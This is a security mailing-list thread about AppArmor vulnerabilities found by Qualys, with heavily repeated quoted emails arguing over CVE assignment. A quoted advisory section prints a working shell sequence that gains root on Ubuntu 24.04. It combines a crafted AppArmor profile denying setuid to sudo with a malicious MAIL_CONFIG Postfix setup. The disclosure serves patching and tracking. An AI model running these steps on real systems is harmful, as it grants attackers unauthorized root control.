Last updated 5 June 2026
Hi Greg, John, all,
On Fri, Mar 27, 2026 at 07:23:24AM +0100, Greg KH wrote: On Thu, Mar 26, 2026 at 06:36:17PM +0000, Qualys Security Advisory wrote: Since two weeks have passed now (since the fixes were released), would it be possible to please assign CVEs to the remaining seven AppArmor vulnerabilities: We were told that these all required elevated privileges to hit, and so were not classified as individual vulnerabilities. If the Apparmor maintainer tells us that these really all should be assigned a CVE, we will be glad to do so, but until then, we're just going to stick with the ones that we have assigned already. Thank you very much for your reply! Adding John Johansen then (AppArmor's maintainer), since he will have the authoritative answer.
The problem is that containers can be allowed to manage their own AppArmor profiles (via AppArmor namespaces), in which case an attacker inside such a container can directly write to AppArmor's .load, .replace and .remove files and trigger all these vulnerabilities, even without CVE-2026-23268 (the confused-deputy vulnerability).
The way we see it:
- either CVEs should be assigned to the remaining seven vulnerabilities, in light of the container use case described above;
- or CVE-2026-23269 ("validate DFA start states are in bounds") should be rejected, because this vulnerability is no different from the other seven vulnerabilities.
Thank you very much in advance! We are at your disposal for questions, comments, and further discussions. With best regards,
-- the Qualys Security Advisory team
it wont work on read-only container
On Friday, March 27th, 2026 at 8:47 PM, Qualys Security Advisory <qsaatqualys.comkf503bla () duck com> wrote: DuckDuckGo was unable to verify sender identity
Hi Greg, John, all,
On Fri, Mar 27, 2026 at 07:23:24AM +0100, Greg KH wrote: On Thu, Mar 26, 2026 at 06:36:17PM +0000, Qualys Security Advisory wrote: Since two weeks have passed now (since the fixes were released), would it be possible to please assign CVEs to the remaining seven AppArmor vulnerabilities: We were told that these all required elevated privileges to hit, and so were not classified as individual vulnerabilities. If the Apparmor maintainer tells us that these really all should be assigned a CVE, we will be glad to do so, but until then, we're just going to stick with the ones that we have assigned already. Thank you very much for your reply! Adding John Johansen then (AppArmor's maintainer), since he will have the authoritative answer.
The problem is that containers can be allowed to manage their own AppArmor profiles (via AppArmor namespaces), in which case an attacker inside such a container can directly write to AppArmor's .load, .replace and .remove files and trigger all these vulnerabilities, even without CVE-2026-23268 (the confused-deputy vulnerability).
The way we see it:
- either CVEs should be assigned to the remaining seven vulnerabilities, in light of the container use case described above;
- or CVE-2026-23269 ("validate DFA start states are in bounds") should be rejected, because this vulnerability is no different from the other seven vulnerabilities.
Thank you very much in advance! We are at your disposal for questions, comments, and further discussions. With best regards,
-- the Qualys Security Advisory team
On Fri, Mar 27, 2026 at 02:50:42PM +0000, Qualys Security Advisory wrote: Hi Greg, John, all,
On Fri, Mar 27, 2026 at 07:23:24AM +0100, Greg KH wrote: On Thu, Mar 26, 2026 at 06:36:17PM +0000, Qualys Security Advisory wrote: Since two weeks have passed now (since the fixes were released), would it be possible to please assign CVEs to the remaining seven AppArmor vulnerabilities: We were told that these all required elevated privileges to hit, and so were not classified as individual vulnerabilities. If the Apparmor maintainer tells us that these really all should be assigned a CVE, we will be glad to do so, but until then, we're just going to stick with the ones that we have assigned already. Thank you very much for your reply! Adding John Johansen then (AppArmor's maintainer), since he will have the authoritative answer.
The problem is that containers can be allowed to manage their own AppArmor profiles (via AppArmor namespaces), in which case an attacker inside such a container can directly write to AppArmor's .load, .replace and .remove files and trigger all these vulnerabilities, even without CVE-2026-23268 (the confused-deputy vulnerability).
The way we see it:
- either CVEs should be assigned to the remaining seven vulnerabilities, in light of the container use case described above;
- or CVE-2026-23269 ("validate DFA start states are in bounds") should be rejected, because this vulnerability is no different from the other seven vulnerabilities. Looks like this one should be rejected, but I will defer to John as to what he wishes to have done here, as he is the maintainer of this part of the kernel.
thanks,
greg k-h
Hi,
On Thu, Mar 12, 2026 at 09:33:57PM +0000, Qualys Security Advisory wrote: [...] AppArmor + Sudo + Postfix = root [...] ======================================================================== AppArmor + Sudo + Postfix = root ========================================================================
Did you get your disconnection notice? Mine came in the mail today -- Sonic Youth, "Disconnection Notice"
As an unprivileged local attacker, the ability to load, replace, and remove arbitrary AppArmor profiles is remarkable, but our crucial and burning question was: can this ability be transformed into an LPE to full root privileges? Our key idea was to load new AppArmor profiles that deny certain syscalls to certain privileged programs, and consequently to create exploitable "fail-open" situations.
From our work on Baron Samedit, we remembered that when Sudo encounters an unusual situation, it sends a mail to the system's administrator. And to send such a mail on Ubuntu, Sudo executes /usr/sbin/sendmail as our unprivileged user, not as root, with our original environment variables preserved (excluding the obviously dangerous variables such as LDAUDIT and LDPRELOAD, which were removed from the environment by the dynamic loader, ld.so, before the execution of Sudo's main() function).
From CVE-2002-0043:
https://www.sudo.ws/security/advisories/postfix/ (by Sebastian Krahmer)
we also remembered that if the Postfix mail server is installed on the system, and if Postfix's /usr/sbin/sendmail is executed as root but with user-controlled environment variables (in particular, the MAILCONFIG environment variable), then Postfix can be forced by the unprivileged user into executing arbitrary commands as root.
Our burning question therefore became: if we, as an unprivileged local attacker, load a new AppArmor profile that denies the setuid capability (CAPSETUID) to Sudo (thereby potentially preventing Sudo from dropping its root privileges before it executes Postfix's /usr/sbin/sendmail), and if we execute Sudo with a MAILCONFIG environment variable that points to our own Postfix configuration in /tmp, is the /usr/bin/id command from our Postfix configuration executed as root? The answer:
------------------------------------------------------------------------ $ grep PRETTYNAME= /etc/os-release PRETTYNAME="Ubuntu 24.04.3 LTS"
$ id uid=1001(jane) gid=1001(jane) groups=1001(jane),100(users)
$ dpkg -S /usr/sbin/sendmail postfix: /usr/sbin/sendmail
$ mkdir /tmp/postfix
$ cat > /tmp/postfix/main.cf << "EOF" commanddirectory = /tmp/postfix EOF
$ cat > /tmp/postfix/postdrop << "EOF" #!/bin/sh /usr/bin/id >> /tmp/postfix/pwned EOF
$ chmod -R 0755 /tmp/postfix
$ apparmorparser -K -o sudo.pf << "EOF" /usr/bin/sudo { allow file, allow signal, allow network, allow capability, deny capability setuid, } EOF
$ su -P -c 'stty raw && cat sudo.pf' "$USER" > /sys/kernel/security/apparmor/.replace Password:
$ env -i MAILCONFIG=/tmp/postfix /usr/bin/sudo whatever sudo: PERMSUDOERS: setresuid(-1, 1, -1): Operation not permitted sudo: unable to open /etc/sudoers: Operation not permitted sudo: setresuid() [0, 0, 0] -> [1001, -1, -1]: Operation not permitted sudo: error initializing audit plugin sudoersaudit
$ cat /tmp/postfix/pwned uid=0(root) gid=1001(jane) groups=1001(jane),100(users) ^^^^^^^^^^^ ------------------------------------------------------------------------
The surprising sequence of events that led to this LPE as root is:
- in sudoersinit(), Sudo calls setresuid(0, -1, -1) to set its real uid to 0 (PERMROOT), which succeeds because its effective and saved uids are already 0 (Sudo is SUID-root);
- in opensudoers() (more precisely, in openfile()), Sudo calls setresuid(-1, 1, -1) to temporarily set its effective uid to 1 (PERMSUDOERS), which fails (with EPERM, "Operation not permitted") because none of Sudo's uids is 1 (they are all 0) and because Sudo does not have the CAPSETUID (our AppArmor profile denies it);
- back in sudoersinit(), Sudo calls mailparseerrors() to send a mail to the administrator about this setresuid() failure ("problem parsing sudoers", "unable to open /etc/sudoers: Operation not permitted");
- then, in execmailer(), Sudo calls setuid(0) (at line 331 below) to set all of its uids to 0, which succeeds because they are already 0;
- still in execmailer(), Sudo calls setuid(1001) (at line 336) to permanently set all of its uids to our unprivileged user's uid, which fails (with EPERM, "Operation not permitted") because none of Sudo's uids is 1001 (they are all 0) and because Sudo does not have the CAPSETUID (our AppArmor profile denies it);
- finally, and despite this setuid() failure, Sudo's execmailer() calls execv() (at line 345) to execute Postfix's /usr/sbin/sendmail with our original environment variables (including our MAILCONFIG), as root instead of our unprivileged user (because the setuid(1001) to drop Sudo's root privileges failed).
------------------------------------------------------------------------ 284 execmailer(int pipein) ... 327 / 328 Depending on the config, either run the mailer as root 329 (so user cannot kill it) or as the user (for the paranoid). 330 / 331 if (setuid(ROOTUID) != 0) { 332 sudodebugprintf(SUDODEBUGERROR, "unable to change uid to %u", 333 ROOTUID); 334 } 335 if (evlconf->mailuid != ROOTUID) { 336 if (setuid(evlconf->mailuid) != 0) { 337 sudodebugprintf(SUDODEBUGERROR, "unable to change uid to %u", 338 (unsigned int)evlconf->mailuid); 339 } 340 } ... 342 if (evlconf->mailuid == ROOTUID) 343 execve(mpath, argv, (char )rootenvp); 344 else 345 execv(mpath, argv); ------------------------------------------------------------------------
Note: without the ability to load an AppArmor profile that denies the CAPSETUID to Sudo, this "fail-open" situation in Sudo would not be exploitable, for the reasons explained in the "execve() and EAGAIN" section of "man execve".
Last-minute note: while writing a mail to Sudo's maintainer about this "fail-open" situation, we noticed that it was independently discovered, reported, and fixed in November 2025 (commit 3e474c2):
------------------------------------------------------------------------ execmailer: Set group as well as uid when running the mailer Also make a setuid(), setgid() or setgroups() failure fatal. Found by the ZeroPath AI Security Engineer <https://zeropath.com> ------------------------------------------------------------------------
Slightly disappointed by this user-space LPE (because Postfix is not installed by default on Ubuntu anymore), we decided to explore one more idea: maybe AppArmor's kernel code contains vulnerabilities that can be exploited in kernel space by loading, replacing, or removing arbitrary AppArmor profiles? To close the circle here: sudo has a own CVE for the issue addressed above, it is CVE-2026-35535.
https://www.cve.org/CVERecord?id=CVE-2026-35535
Regards, Salvatore